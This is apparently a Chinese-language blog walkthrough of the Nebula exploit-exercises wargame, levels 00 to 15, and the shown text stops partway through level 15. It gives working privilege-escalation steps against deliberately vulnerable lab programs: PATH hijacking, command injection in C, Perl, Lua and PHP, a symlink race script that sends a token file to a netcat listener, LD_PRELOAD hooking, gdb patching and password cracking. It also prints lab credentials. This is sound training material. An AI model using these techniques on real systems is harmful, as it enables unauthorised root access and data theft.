Exploit Exercises Nebula level00-level19

这是一个练习exploit的系列,里面还有其他系列,这应该是最简单的一个,可以学到很多知识

有机会我尝试继续做做吧

首先给个链接:https://exploit-exercises.com/nebula/

好像都是要获得权限执行getflag这个程序

level00

首先以level00登陆到系统,自己家目录没东西

到上一层就是各个level对应各个flag,nebula用户可以sudo -s获得root权限

blob.png

看到flag00文件夹下没有东西

blob.png

其实看一下官方的提示,level00是叫你去找一个SUID的程序,是以flag00用户的权限运行的

我们首先看看flag00的uid和gid,可以看到都是999

level00@nebula:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
nebula:x:1000:1000:nebula,,,:/home/nebula:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
level00:x:1001:1001::/home/level00:/bin/sh
flag00:x:999:999::/home/flag00:/bin/sh

查了一下find,可以以uid,user,gid,group等进行查找

-uid n     File's numeric user ID is n.
-user uname    File is owned by user uname (numeric user ID allowed).
-gid n     File's numeric group ID is n.
-group gname       File belongs to group gname (numeric group ID allowed).

2表示将错误输出到空白设备中

level00@nebula:~$ find / -gid 999 2>/dev/null 
/home/flag00/.bash_logout
/home/flag00/.bashrc
/home/flag00/.profile
/rofs/home/flag00/.bash_logout
/rofs/home/flag00/.bashrc
/rofs/home/flag00/.profile

找不到,那是uid咯

level00@nebula:~$ find / -uid 999 2>/dev/null 
/bin/.../flag00
/home/flag00
/home/flag00/.bash_logout
/home/flag00/.bashrc
/home/flag00/.profile
/rofs/bin/.../flag00
...

出现了两个bin的感觉,都试一下

level00@nebula:~$ ll /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /bin/.../flag00*
level00@nebula:~$ ll /rofs/bin/.../flag00
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 /rofs/bin/.../flag00*

其实都可以

我们看看那个程序究竟做了什么

blob.png

原来是运行了/bin/sh,继承了当前程序的权限

最终结果

level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ whoami
flag00
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account
flag00@nebula:~$

当然还有人按照权限来查找

blob.png

level01

给了代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  system("/usr/bin/env echo and now what?");
}

看不出啥,只是最后执行了env echo XXX

env会在PATH环境变量中寻找echo,而且是从左到右搜索,我们改变PATH,再伪造echo程序,就可以达到以当前程序的权限任意执行可以执行的命令

首先,我们对tmp权限比较多,我们就在tmp伪造echo

level01@nebula:/home/flag01$ PATH=/tmp:$PATH

我们可以将echo直接改为geflag程序,或者像上次一样执行一个/bin/sh也行

但我将/bin/sh复制或者做软链接到tmp,都不行,报错如下,就是将后面的字符and当做命令了

level01@nebula:/home/flag01$ ./flag01 
echo: and: No such file or directory

用/bin/getflag就行

或将命令写到文件也行,当然,命令是执行/bin/sh也行的

level01@nebula:/home/flag01$ cat /tmp/echo 
#!/bin/sh
getflag
level01@nebula:/home/flag01$ ./flag01 
You have successfully executed getflag on a target account
level01@nebula:/home/flag01$ cat /tmp/echo 
#!/bin/sh
/bin/sh
level01@nebula:/home/flag01$ ./flag01 
sh-4.2$ getflag 
You have successfully executed getflag on a target account

level02

还是给了代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  char *buffer;
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  buffer = NULL;
  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

这个有点像php的命令执行漏洞了,用分号间隔或者用&链接符

level02@nebula:/home/flag02$ USER="giantbranch;getflag"
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo giantbranch;getflag is cool")
giantbranch
You have successfully executed getflag on a target account
level02@nebula:/home/flag02$

或者

level02@nebula:/home/flag02$ USER="giantbranch&getflag"
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo giantbranch&getflag is cool")
You have successfully executed getflag on a target account
giantbranch
level02@nebula:/home/flag02$

下面这样也可以

level02@nebula:/home/flag02$ USER="giantbranch|getflag"

level02@nebula:/home/flag02$ USER="giantbranch&&getflag"

也可以这样

level02@nebula:/home/flag02$ USER="giantbranch;/bin/bash;"
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo giantbranch;/bin/bash; is cool")
giantbranch
flag02@nebula:/home/flag02$ getflag 
You have successfully executed getflag on a target account
flag02@nebula:/home/flag02$

level03

官方提示说定时执行下面这个shell脚本

这个脚本是执行writable.d目录下的可执行文件

level03@nebula:/home/flag03$ cat writable.sh 
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done

那我们将我们要执行怎人的脚本放进去就行了

比如编辑下面那样的脚本

level03@nebula:/home/flag03/writable.d$ cat test.sh 
getflag > flag

到看了下/var/spool/cron/crontabs的设置,好像是每3分钟执行一次

*/3 * * * * /home/flag03/writable.sh

之后就发现当前目录有个flag

level03@nebula:/home/flag03$ ls
flag  writable.d  writable.sh
level03@nebula:/home/flag03$ cat flag 
You have successfully executed getflag on a target account
level03@nebula:/home/flag03$

level04

这关需要我们读取token的内容

代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;
  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }
  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }
  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }
  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }
  write(1, buf, rc);
}

其实就检测文件名有无token这个字符串,查了下网上用的软连接

tmp目录其实真有用啊

读出的那个字符是flag04的密码

level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/flag04 
level04@nebula:/home/flag04$ ./flag04 /tmp/flag04 
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ su flag04
Password: 
sh-4.2$ whoami
flag04
sh-4.2$ getflag 
You have successfully executed getflag on a target account

level05

官方提示说是目录权限问题:Check the flag05 home directory. You are looking for weak directory permissions

ls看不到任何文件,ll看到了一个隐藏文件,而且发现.backup目录的权限好像有点问题,其他人具有读和执行权限

drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup/

里面有一个tgz的压缩文件,解压到tmp目录发现时公私钥,再cat一下私钥

level05@nebula:/home/flag05/.backup$ tar -zxvf backup-19072011.tgz -C /tmp/flag05/
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:/home/flag05/.backup$ cat /tmp/flag05/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAywCDXFL7nGpgxuT8y8ZYyzif565M6LexECfaRFl6ECQtP2Vp
vns4RR0HeVFpZMD2dhQQ76sXXK4Jph0/xVRgYytF1hsCJLiedJ3+aWyRMYtkgvZD
......
RcmThwKBgAi0ej7ylHhtwODQGghRmDpxEx9deJ0jilM2EnqIecJj5jnPW8BKDgV4
Dc1QljBeCQ1r30DGYmOIazbhm+orm4df6HWPayRhNBlkmulqTs5GHvLMPjcKMB0k
0Xna7QOtBAnzoHpLcrfvBdfRNE1eC87YkPUhmm5hBgG0+TeMmWgr
-----END RSA PRIVATE KEY-----

然后在桌面新建文件,粘贴进去就行了

blob.png

level06

这里官方提示说:The flag06 account credentials came from a legacy unix system.

flag06的认证来自经典(以前)的unix系统,那么密码哈希应该存在于/etc/passwd里,谁都能读取

看到了

flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

上kali用john

root@kali:~# cat flag06passwd 
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
root@kali:~# john flag06passwd 
Created directory: /root/.john
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello            (flag06)
guesses: 1  time: 0:00:00:00 DONE (Tue Mar  7 02:51:17 2017)  c/s: 78683  trying: 123456 - Pyramid
Use the "--show" option to display all of the cracked passwords reliably

密码就是hello

level06@nebula:~$ su flag06
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account

level07

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

给了代码,就是执行ping,跟着将ping的结果以html的形式输出

使用的是perl脚本,传入的参数是Host

#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
  $host = $_[0];
  print("<html><head><title>Ping results</title></head><body><pre>");
  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }
  print("</pre></body></html>");
  
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));

一眼看去可以任意命令执行啊

还有一个http配置文件什么的,可以看到端口是7007

blob.png

但我查看端口是没开放的啊,原来是vm虚拟机问题,换vbox

如果端口有开,直接访问一下 http://ip:7007/index.cgi?Host=127.0.0.1;getflag

但为啥没权限

blob.png

当然通过nc反弹shell,或者写入.ssh私钥也行

level08

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

好像跟一个可读文件有关,进去发现一个pcap包

打开一看,全是这两个地址的tcp通信包,跟踪一下blob.png

是不是密码就是backdoor呢,试了一下不行,后面还有字符啊,为什么中间的不可见,看看十六进制

原来不可见的是0x7f

blob.png

原来7F是删除

blob.png

那密码就知道了,backd00Rmate

level08@nebula:/home/flag08$ su flag08
Password: 
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09

There’s a C setuid wrapper for some vulnerable PHP code…

原来是php代码,最后转化成可执行文件了

<?php
function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}
function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);
  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);
  return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>

由于正则匹配使用了/e模式,preg_replace的第二个参数就会当做php代码执行,即程序时对[email ****]里面的****执行spam函数,从下图的报错也知道

应该相当于eval(字符串)吧
$a = "echo '${system(dir)}';";
eval($a);

但被转义了

blob.png

但实际php的system参数可以不加引号的

执行成功

level09@nebula:/home/flag09$ cat /tmp/flag09
[email {${system(getflag)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/flag09 
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Use of undefined constant getflag - assumed 'getflag' in /home/flag09/flag09.php(15) : regexp code on line 1
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

当然那里有个use_me的变量没用,这是提示吧

level09@nebula:/home/flag09$ cat /tmp/flag09
[email {${system($use_me)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/flag09 getflag
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

level10

据说这是很经典的文件访问竞态条件漏洞

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

就是说setuid的程序flag10会上传任意文件,只要access()返回0

代码:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
  char *file;
  char *host;
  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }
  file = argv[1];
  host = argv[2];
  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];
      printf("Connecting to %s:18211 .. ", host); fflush(stdout);
      fd = socket(AF_INET, SOCK_STREAM, 0);
      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);
      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE
      printf("Connected!\nSending file .. "); fflush(stdout);
      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }
      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }
      write(fd, buffer, rc);
      printf("wrote file!\n");
  } else {
      printf("You don't have access to %s\n", file);
  }
}

就是如果access返回0,就连接远程主机的18211,跟着读取文件内容到buffer,发过去

这里的access()检查的是ruid,在access()检查和使用open()打开文件之间的这段时间里,我们完全可以替代掉打开的文件为token,因为我们已经通过了检查。也就是说,用一个有权限的文件去绕过access的限制,之后马上把文件替换成没有权限的token,因为已经经过了检查,所以程序可以毫无阻碍的打开没有权限的token文件。(在这个题中没有访问token文件的权限,而flag就在token中) 

那我们一遍循环地 交替建立软连接,一遍循环运行程序,那么就有可能用有权限文件通过了access检查后,实际open的是token文件,由于建立软连接,目标文件存在就会报错,所以使用f参数,会删除目标文件,再建立软连接

#!/bin/bash
while true;
do
        ln -sf /tmp/flag10bb /tmp/flag10aa
        ln -sf /home/flag10/token /tmp/flag10aa
done
#!/bin/bash
while true;
do
        /home/flag10/flag10 /tmp/flag10aa  192.168.1.111
done

还要添加执行权限哦

chmod +x flag10ln flag10whilerun

而且我们192.168.1.111那边还要nc监听那个端口哦

nc -lp 18211

先运行ln那个,在运行循环执行flag10那个,可以看到两次就上传文件成功了

level10@nebula:/tmp$ ./flag10ln &
[1] 7933
level10@nebula:/tmp$ ./flag10whilerun &
[2] 14155
level10@nebula:/tmp$ You don't have access to /tmp/flag10aa
You don't have access to /tmp/flag10aa
Connecting to 192.168.1.111:18211 .. Connected!
Sending file .. wrote file!
Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111
Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111
Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111
Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111
Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111
You don't have access to /tmp/flag10aa
Connecting to 192.168.1.111:18211 .. Unable to connect to host 192.168.1.111
...

同时我们这边也收到了

blob.png

因为这里收到后就关闭了监听,所以那边显示的是不能连接到主机,那些都是成功绕过了access的

这应该是flag10的密码

其实家目录下有个x文件里面就有,只是里面很多空行,字符串在中间行的位置

level10@nebula:~$ cat x | grep "615"
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

最终

level10@nebula:~$ su flag10
Password: 
sh-4.2$ getflag 
You have successfully executed getflag on a target account

看到还有在命令/home/flag10/flag10 /tmp/flag10aa  192.168.1.111前加nice -n 19

nice -n 19 表示改变文件的执行优先级,范围是 -20~19 ,数字越低,优先级越高,这里把 flag10 这个程

序的优先级变低,这样就可以在 access 函数执行后、 open 函数执行前,有机会可以改掉 /tmp/token10

的指向了。

收获就是接触到了文件访问竞态条件漏洞,也可称作为“ TOCTOU 漏洞“——time of check,time of use 。

level11

The /home/flag11/flag11 binary processes standard input and executes a shell command.

There are two ways of completing this level, you may wish to do both 🙂

代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */
int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;
  srandom(time(NULL));
  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));
  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}
void process(char *buffer, int length)
{
  unsigned int key;
  int i;
  key = length & 0xff;
  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }
  system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }
  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }
  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;
      fd = getrand(&path);
      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);
          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);
          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);
          blue -= pink;
      }    
      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }
}

这个程序看上去有点复杂啊

首先从标准输入读取,若开头不是以Content-Length:开头的直接退出

跟着算出来的length跟1024比较 又有两个分支

第一个就从标准输入读取,就传给process函数

第二个就从getrand函数返回一个句柄,接下来循环从标准输入读入buf,返回的长度给pink,跟着将buf的内容写入句柄指向的地方,直到blue-pink后,blue小于等于0

最后还用mmap申请了内存,调用process函数

最后再看看那个两个函数

getrand随机生成1个文件,之后又把文件删除了,但是返回了fd(是uaf?)

process函数将buffer循环跟key去异或,最后执行system(buffer);

根据提示,这两个分支都可以成功

我们尝试第一个分支

这个限制我们的length必须为1,即Content-Length: 1

if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
}

一开始由于我们没有初始化line数组,可能里面已经存在其他字符串了,

length = atoi(line + strlen(CL));  由于使用atoi,如果"Content-Length:  "(注意最后有个空格)后面是字符串,那么返回0,如果我们输入一个字符,由于line数组后面没有初始化,但出现数字的可能性比较小

这个length的计算还是大多数情况下是准确的

我们用gdb看看输入"Content-Length:1,跟着输入x后,调用process函数前的栈

可以看到长度是没错的

blob.png

但我们看看字符串,后面还有0x90,0xc4

blob.png

这就导致最终buffer实际的长度不是1,之后只异或了第一位

x异或1的结果就是y

所以我们最终看到的结果y后面会出现不同字符串,侥幸的话x后面是00就执行system(y)

注:-e enable interpretation of backslash escapes -e加上后\起到转义作用,比如\n代表回车

blob.png

那我们再利用PATH,在tmp目录新建个y的脚本,里面写的是getshell就行了

其实除了x,其他的很多字符都可以,只要异或之后不是文件名的限制符号就可以了

如b:

blob.png用那些字符可以写个python脚本就知道了

for i in range(1,126):
print repr(chr(i)) + "->" + repr(chr(i ^ 1))

得出下面结果(有\x,右边有文件不可有字符的都不行),可以看到很多数字和字母都可以

'\x01'->'\x00'
'\x02'->'\x03'
'\x03'->'\x02'
'\x04'->'\x05'
'\x05'->'\x04'
'\x06'->'\x07'
'\x07'->'\x06'
'\x08'->'\t'
'\t'->'\x08'
'\n'->'\x0b'
'\x0b'->'\n'
'\x0c'->'\r'
'\r'->'\x0c'
'\x0e'->'\x0f'
'\x0f'->'\x0e'
'\x10'->'\x11'
'\x11'->'\x10'
'\x12'->'\x13'
'\x13'->'\x12'
'\x14'->'\x15'
'\x15'->'\x14'
'\x16'->'\x17'
'\x17'->'\x16'
'\x18'->'\x19'
'\x19'->'\x18'
'\x1a'->'\x1b'
'\x1b'->'\x1a'
'\x1c'->'\x1d'
'\x1d'->'\x1c'
'\x1e'->'\x1f'
'\x1f'->'\x1e'
' '->'!'
'!'->' '
'"'->'#'
'#'->'"'
'$'->'%'
'%'->'$'
'&'->"'"
"'"->'&'
'('->')'
')'->'('
'*'->'+'
'+'->'*'
','->'-'
'-'->','
'.'->'/'
'/'->'.'
'0'->'1'
'1'->'0'
'2'->'3'
'3'->'2'
'4'->'5'
'5'->'4'
'6'->'7'
'7'->'6'
'8'->'9'
'9'->'8'
':'->';'
';'->':'
'<'->'='
'='->'<'
'>'->'?'
'?'->'>'
'@'->'A'
'A'->'@'
'B'->'C'
'C'->'B'
'D'->'E'
'E'->'D'
'F'->'G'
'G'->'F'
'H'->'I'
'I'->'H'
'J'->'K'
'K'->'J'
'L'->'M'
'M'->'L'
'N'->'O'
'O'->'N'
'P'->'Q'
'Q'->'P'
'R'->'S'
'S'->'R'
'T'->'U'
'U'->'T'
'V'->'W'
'W'->'V'
'X'->'Y'
'Y'->'X'
'Z'->'['
'['->'Z'
'\\'->']'
']'->'\\'
'^'->'_'
'_'->'^'
'`'->'a'
'a'->'`'
'b'->'c'
'c'->'b'
'd'->'e'
'e'->'d'
'f'->'g'
'g'->'f'
'h'->'i'
'i'->'h'
'j'->'k'
'k'->'j'
'l'->'m'
'm'->'l'
'n'->'o'
'o'->'n'
'p'->'q'
'q'->'p'
'r'->'s'
's'->'r'
't'->'u'
'u'->'t'
'v'->'w'
'w'->'v'
'x'->'y'
'y'->'x'
'z'->'{'
'{'->'z'
'|'->'}'
'}'->'|'

我们就用奇葩一点的{吧

level11@nebula:/home/flag11$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
level11@nebula:/home/flag11$ cat /tmp/z
getflag

注意加执行权限,

但这里还是说权限不足,不知道为啥,但确实使用setuid程序执行的啊blob.png

无意中看到别人的,就是system的文档

blob.png

我们尝试第二个分支

因为第一个分支我们只能是一个字符,就跟1异或一次

但是我们要进入第二个分支,就要1024或以上,我们先尝试1024吧,那么异或是可逆的,python上

length = 1024
buffer = "getflag\x00" 
reslut = ""
key = length & 0xff;
for i in buffer:
  tmp = chr(ord(i) ^ key & 0xff)
  reslut += tmp
  key -= ord(i)
print "Content-Length: 1024\n" + reslut + "\x00" * (1024-len(reslut))

当然'\x00'放上面也可以

length = 1024
buffer = "getflag" + "\x00" * (1024-7) 
reslut = ""
key = length & 0xff;
for i in buffer:
  tmp = chr(ord(i) ^ key & 0xff)
  reslut += tmp
  key -= ord(i)
print "Content-Length: 1024\n" + reslut

但是,不知道是不是getrand函数将那个文件删除掉了,导致mmap报错

level11@nebula:/home/flag11$ python /tmp/flag11python.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
flag11: mmap: Bad file descriptor

后来一想还看了看人家的,原来还有个环境变量没设置

blob.png

ko

level11@nebula:/home/flag11$ export TEMP=/tmp
level11@nebula:/home/flag11$ python /tmp/flag11python.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

level12

There is a backdoor process listening on port 50001.

给了一个lua的脚本

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()
  data = string.sub(data, 1, 40)
  return data
end
while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)
      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end
  end
  client:close()
end

代码不是很长,还是能看懂

就是监听本地的50001端口,有人连接就要求输入password,对用户输入的密码进行sha1加密

查了下那个..是字符串连接符,最后取前40位(可看到到命令行输出结果最后有个'-',还有lua的sub索引是从1开始的),最后与4754a4f4bd5787accd33de887b9250a0691dd198比较,一开始以为是hash爆破或者碰撞,看到命令应该又是命令注入

blob.png

看看,没有

level12@nebula:/home/flag12$ nc 127.0.0.1 50001
Password: "123";getflag
Better luck next time
level12@nebula:/home/flag12$

由于程序没有将命令执行的结果输出,那我们只能输出到文件中,KO

level12@nebula:/home/flag12$ nc 127.0.0.1 50001
Password: "123";getflag>/tmp/flag12
Better luck next time
level12@nebula:/home/flag12$ cat /tmp/flag12
You have successfully executed getflag on a target account

level13

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

代码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];
  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }
  // snip, sorry 🙂
  printf("your token is %s\n", token);
  
}

只要他获取到的uid不为1000,就退出

我们看看uid是1000的是谁,原来是它

level13@nebula:/home/flag13$ cat /etc/passwd | grep 1000
nebula:x:1000:1000:nebula,,,:/home/nebula:/bin/bash

方法1

那这我们直接调试修改getuid的返回值就行了啊,上gdb

反编译一下main函数

(gdb) disassemble main
Dump of assembler code for function main:
   0x080484c4 <+0>:push   %ebp
   0x080484c5 <+1>:mov    %esp,%ebp
   0x080484c7 <+3>:push   %edi
   0x080484c8 <+4>:push   %ebx
   0x080484c9 <+5>:and    $0xfffffff0,%esp
   0x080484cc <+8>:sub    $0x130,%esp
   0x080484d2 <+14>:mov    0xc(%ebp),%eax
   0x080484d5 <+17>:mov    %eax,0x1c(%esp)
   0x080484d9 <+21>:mov    0x10(%ebp),%eax
   0x080484dc <+24>:mov    %eax,0x18(%esp)
   0x080484e0 <+28>:mov    %gs:0x14,%eax
   0x080484e6 <+34>:mov    %eax,0x12c(%esp)
   0x080484ed <+41>:xor    %eax,%eax
   0x080484ef <+43>:call   0x80483c0 <getuid@plt>
   0x080484f4 <+48>:cmp    $0x3e8,%eax
   0x080484f9 <+53>:je     0x8048531 <main+109>
   0x080484fb <+55>:call   0x80483c0 <getuid@plt>

我们在下面这里下断点,修改eax的值即可

0x080484f4 <+48>: cmp    $0x3e8,%eax

ko

(gdb) b *0x080484f4
Breakpoint 1 at 0x80484f4
(gdb) r
Starting program: /home/flag13/flag13 
Breakpoint 1, 0x080484f4 in main ()
(gdb) print $eax
$1 = 1014
(gdb) set $eax=1000
(gdb) c
Continuing.
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
[Inferior 1 (process 14323) exited with code 063]
(gdb)

方法2

这个方法是hook,LD_PRELOAD可以影响程序运行时的链接,这个变量允许你定义在程序运行时优先加载的动态链接库。 我们实现自己的getuid函数

#include <sys/types.h>
uid_t getuid(void){
        return 1000;
}

当然这样也行的,只不过上面用了getuid的函数原型,uid_t需要用到头文件而已

level13@nebula:/tmp$ cat flag13getuid.c
int getuid(void){
        return 1000;
}
gcc /tmp/flag13getuid.c -shared -fPIC -o flag13getuid.so

注意,-shared参数和-fPIC参数非常重要:

-shared 告诉gcc要生成的是动态链接库;

-fPIC 告诉gcc生成的生成的代码是非位置依赖的,方面的用于动态链接。

因为ruid才可以hook,所以先复制一下

level13@nebula:/tmp$ cp /home/flag13/flag13 /tmp/flag13
level13@nebula:/tmp$ export LD_PRELOAD=/tmp/flag13getuid.so
level13@nebula:/tmp$ ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac5

方法3

我们看源码没看到token初始化啊,怎么会输出预设的字符串呢

ida看看,原来还是做了简单的加密

blob.png

几句代码解一下密

blob.png

level14

This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it 🙂

看来是解密啊

上去看到token,尝试读一下,是密文

blob.png

我们运行加密程序看看

level14@nebula:/home/flag14$ ./flag14 -e
1111111111
123456789:

好像只是加上索引值

那解密就简单了

blob.png

那个最后一个是垂直制表符,所以不用理他,就是前面的就行了

ida看一下代码也是这样咯

blob.png

level15

strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.

You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

Clean up after yourself 🙂

好像要我们用strace去追踪一下linux的共享库是怎么编译的,还有它是怎么载入内存的

level15@nebula:/home/flag15$ strace ./flag15 
execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x8e12000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78ad000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf9121f4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf9121f4) = -1 ENOENT (No such file or directory)
